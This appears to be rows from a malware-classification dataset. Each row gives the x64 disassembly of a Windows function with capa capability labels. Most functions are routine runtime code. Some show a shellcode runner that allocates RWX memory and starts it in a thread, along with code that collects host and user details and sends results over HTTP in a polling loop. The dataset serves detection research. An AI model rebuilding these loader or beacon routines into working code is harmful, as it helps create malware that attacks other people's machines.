joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011154
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400231d0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400400f4]
call fcn.140011bb8
nop
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140023228
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14002333a
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x1400232d3
cmp qword [rbp + 0x28], 0
jle 0x1400232d3
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x140023271
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140011b04
nop
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
nop
cmp qword [rbp + 0x130], 0
jle 0x140023329
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140023329
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400116ae
Capabilities:
Terminate process

Disassembly:
jmp 0x1400261f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011843
Capabilities:
Parse pe header

Disassembly:
jmp 0x140026d20
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140026d40
xor al, al
jmp 0x140026dc1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140026d53
xor al, al
jmp 0x140026dc1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140026d7d
xor al, al
jmp 0x140026dc1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140026d91
xor al, al
jmp 0x140026dc1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140026da3
xor al, al
jmp 0x140026dc1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140026dbf
xor al, al
jmp 0x140026dc1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011b90
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001ddd0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x140038040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x1400400f4]
call fcn.140011bb8
nop
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x14001de37
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001de3e
mov al, 1
jmp 0x14001df8e
call fcn.14001136b
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.14001136b
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.14001195b
movzx eax, al
test eax, eax
je 0x14001de8f
xor al, al
jmp 0x14001df8e
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x14001def4
cmp dword [rbp + 0x154], 1
je 0x14001deff
cmp dword [rbp + 0x154], 3
je 0x14001df7d
jmp 0x14001df8c
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14001df4f
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14001df4f
xor al, al
jmp 0x14001df8e
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001df6a
mov dword [rbp + 0x154], 1
jmp 0x14001df74
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x14001df8e
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001df8e
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002fe00]
call fcn.1400119ba
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.1400115b4
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x140011c0d
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x14001cc50
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rcx, [0x1400400fb]
call fcn.140011bb8
nop
mov rcx, qword [rbp + 0x120]
call fcn.1400114f1
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14001ccc7
lea rdx, str.Error_allocating_memory
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011172
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14001cd86
mov rcx, qword [rbp + 0x120]
call fcn.1400114f1
mov qword [rbp + 0xf8], rax
mov rcx, qword [rbp + 0x120]
call fcn.14001101e
mov rcx, qword [rbp + 0xf8]
mov r8, rcx
mov rdx, rax
mov rcx, qword [rbp + 8]
call fcn.1400115b9
nop
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14001cd63
lea rdx, str.Error_creating_thread
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011172
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
jmp 0x14001cd86
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140024610
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011c1c
movzx eax, al
test eax, eax
jne 0x140024630
mov ecx, 7
call fcn.1400119ce
nop
mov byte [rsp + 0x20], 0
call fcn.140011a14
mov byte [rsp + 0x21], al
cmp dword [0x140038800], 1
jne 0x140024654
mov ecx, 7
call fcn.1400119ce
nop
jmp 0x1400246ac
cmp dword [0x140038800], 0
jne 0x1400246a7
mov dword [0x140038800], 1
lea rdx, [0x14002e770]
lea rcx, [0x14002e440]
call fcn.140011587
test eax, eax
je 0x140024688
mov eax, 0xff
jmp 0x1400247b1
lea rdx, [0x14002e330]
lea rcx, [section..rdata]
call fcn.1400119fb
mov dword [0x140038800], 2
jmp 0x1400246ac
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400119a6
call fcn.140011884
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140024709
mov rcx, qword [rsp + 0x30]
call fcn.14001147e
movzx eax, al
test eax, eax
je 0x140024709
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140041020]
nop
call fcn.14001191a
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14002473d
mov rcx, qword [rsp + 0x38]
call fcn.14001147e
movzx eax, al
test eax, eax
je 0x14002473d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011b5e
nop
call fcn.140024860
mov dword [rsp + 0x28], eax
call fcn.140011843
movzx eax, al
test eax, eax
jne 0x14002475c
mov ecx, dword [rsp + 0x28]
call fcn.1400110eb
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14002476b
call fcn.140011b77
nop
xor edx, edx
mov cl, 1
call fcn.140011433
mov eax, dword [rsp + 0x28]
jmp 0x1400247b1
add rsp, 0x68
ret
Function at 0x140001150
Capabilities:
Prepare http request

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x1400011a4
Capabilities:
Receive http response
Set http header

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x88
call fcn.140001620
mov qword [rsp + 0x70], rax
mov r8d, dword [rsp + 0x98]
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x70]
call fcn.140001114
mov qword [rsp + 0x68], rax
lea r8, [0x140029060]
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x68]
call fcn.140001150
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x60], 0x3300
mov r9d, 4
lea r8, [rsp + 0x60]
mov edx, 0x1f
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov r9d, 0xa0000000
mov r8d, 0xffffffff
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
mov ecx, 0x2000
call fcn.1400071fc
mov qword [rsp + 0x58], rax
mov r8d, 0x2000
xor edx, edx
mov rcx, qword [rsp + 0x58]
call fcn.14001b470
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140001386
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140001384
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x64], 0
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x140001379
mov eax, dword [rsp + 0x40]
inc eax
mov eax, eax
mov ecx, eax
call fcn.1400071fc
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001379
mov eax, dword [rsp + 0x40]
inc eax
mov eax, eax
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x50]
call fcn.14001b470
lea r9, [rsp + 0x64]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000136f
mov rcx, qword [rsp + 0x58]
call fcn.140006e20
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + rax*2]
mov ecx, dword [rsp + 0x40]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [rsp + 0x50]
call fcn.1400071e8
cmp dword [rsp + 0x40], 0
ja 0x1400012c9
jmp 0x14000139a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error:_u
call fcn.1400016ec
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call fcn.1400010c0
mov rax, qword [rsp + 0x58]
add rsp, 0x88
ret
Function at 0x1400013bc
Capabilities:
Receive http response
Set http header

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x98
call fcn.140001620
mov qword [rsp + 0x70], rax
mov r8d, dword [rsp + 0xa8]
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x70]
call fcn.140001114
mov qword [rsp + 0x68], rax
lea r8, str.POST
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x68]
call fcn.140001150
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x60], 0x3300
mov r9d, 4
lea r8, [rsp + 0x60]
mov edx, 0x1f
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
lea rax, str.Content_Type:_application_x_www_form_urlencoded_r_n
mov qword [rsp + 0x80], rax
mov r9d, 0x20000000
mov r8d, 0xffffffff
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
test eax, eax
jne 0x140001498
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_add_request_headers:__d_n
call fcn.1400016ec
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
jmp 0x140001615
mov ecx, 0x2000
call fcn.1400071fc
mov qword [rsp + 0x58], rax
mov r8d, 0x2000
xor edx, edx
mov rcx, qword [rsp + 0x58]
call fcn.14001b470
mov rcx, qword [rsp + 0xb8]
call fcn.140007140
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0xb8]
call fcn.140007140
mov qword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x88]
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0xb8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x78], eax
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140001613
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x64], 0
mov dword [rsp + 0x7c], 0
mov dword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x1400015ed
mov eax, dword [rsp + 0x40]
inc eax
mov eax, eax
mov ecx, eax
call fcn.1400071fc
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400015ed
mov eax, dword [rsp + 0x40]
inc eax
mov eax, eax
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x50]
call fcn.14001b470
lea r9, [rsp + 0x64]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x1400015e3
mov rcx, qword [rsp + 0x58]
call fcn.140006e20
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + rax*2]
mov ecx, dword [rsp + 0x40]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [rsp + 0x50]
call fcn.1400071e8
cmp dword [rsp + 0x40], 0
ja 0x14000153d
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call fcn.1400010c0
mov rax, qword [rsp + 0x58]
jmp 0x140001615
xor eax, eax
add rsp, 0x98
ret
Function at 0x140001620
Capabilities:
Initialize winhttp library

Disassembly:
sub rsp, 0x48
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinHTTP_Example_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
add rsp, 0x48
ret

Function at 0x14000191c
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x4a8
cmp dword [rsp + 0x4b0], 1
jne 0x140001a35
call fcn.140001b1c
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
mov ecx, 5
call fcn.1400017b4
mov qword [rsp + 0x70], rax
xor eax, eax
cmp eax, 1
je 0x140001a2e
mov ecx, 5
call fcn.140002a50
mov rcx, qword [rsp + 0x68]
call fcn.140001874
mov r9, rax
mov r8, qword [rsp + 0x70]
mov edx, 0x1388
lea rcx, [0x140029170]
call fcn.1400011a4
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x78]
call fcn.140001744
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001a29
mov rax, qword [rsp + 0x50]
movsx eax, byte [rax]
test eax, eax
je 0x140001a29
mov rcx, qword [rsp + 0x50]
call fcn.140001f70
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x50]
call fcn.1400071e8
mov rcx, qword [rsp + 0x80]
call fcn.140001800
mov qword [rsp + 0x60], rax
mov r9, qword [rsp + 0x60]
lea r8, str._results
mov edx, 0x1388
lea rcx, str.127.0.0.1
call fcn.1400013bc
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x60]
call fcn.1400016ec
mov ecx, 8
call fcn.1400016ec
mov rcx, qword [rsp + 0x60]
call fcn.1400071e8
jmp 0x140001958
xor eax, eax
jmp 0x140001b12
mov r8d, 0x410
lea rdx, [rsp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [0x1400291b4]
mov edx, 0x410
lea rcx, [rsp + 0x90]
call fcn.14000a44c
mov r8d, 0x18
xor edx, edx
lea rcx, [0x14002d9c0]
call fcn.14001b470
mov r8d, 0x68
xor edx, edx
lea rcx, [0x14002d9e0]
call fcn.14001b470
mov dword [0x14002d9e0], 0x68
lea rax, [0x14002d9c0]
mov qword [rsp + 0x48], rax
lea rax, [0x14002d9e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
jne 0x140001b10
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400291b8]
call fcn.1400016ec
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x4a8
ret

Function at 0x140001d88
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x140001db8
xor eax, eax
jmp 0x140001dcc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, eax
mov ecx, eax
call fcn.1400016ec
mov eax, 0xffffffff
add rsp, 0x38
ret
Function at 0x140002080
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x1d8
lea rdx, [rsp + 0x30]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400020c2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.WSAStartup_failed._Error_Code:__d_n
call fcn.1400016ec
mov eax, 1
jmp 0x1400021a8
mov edx, 8
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x1400020f8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.gethostname_failed._Error_Code:__d_n
call fcn.1400016ec
mov eax, 1
jmp 0x1400021a8
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14000212e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.gethostbyname_failed._Error_Code:__d_n
call fcn.1400016ec
mov eax, 1
jmp 0x1400021a8
mov dword [rsp + 0x20], 0
jmp 0x140002142
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x18]
cmp qword [rcx + rax*8], 0
je 0x14000219e
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x18]
mov r8d, 4
mov rdx, qword [rcx + rax*8]
lea rcx, [rsp + 0x24]
call fcn.14001b830
mov ecx, dword [rsp + 0x24]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rcx, rax
call fcn.14000c7dc
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x1e8]
mov qword [rdx + rcx*8], rax
jmp 0x140002138
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [rsp + 0x20]
add rsp, 0x1d8
ret

Function at 0x140002944
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x68
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov qword [rsp + 0x20], 0
movzx eax, word [rsp + 0x28]
cmp eax, 9
jne 0x140002974
lea rax, [0x140029460]
mov qword [rsp + 0x20], rax
jmp 0x14000299e
movzx eax, word [rsp + 0x28]
test eax, eax
jne 0x14000298b
lea rax, [0x140029464]
mov qword [rsp + 0x20], rax
jmp 0x14000299e
movzx eax, word [rsp + 0x28]
mov edx, eax
lea rcx, [0x140029468]
call fcn.1400016ec
mov rax, qword [rsp + 0x20]
add rsp, 0x68
ret

Function at 0x1400031b4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400031fe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400031fe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400031fe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400031fe
cmp dword [rcx + 0x84], 0xe
jbe 0x1400031fe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003200
xor al, al
add rsp, 0x28
ret
Function at 0x14000aaac
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000a917
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a917
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a917
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a917
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a917
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a917
cmp dword [rcx + 0xf8], 0
je 0x14000a917
mov ecx, ebx
call fcn.14000a9c8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000a7a4
nop
cmp dword [rbp + 0x20], 0
je 0x14000a965
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000a970
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000a8a8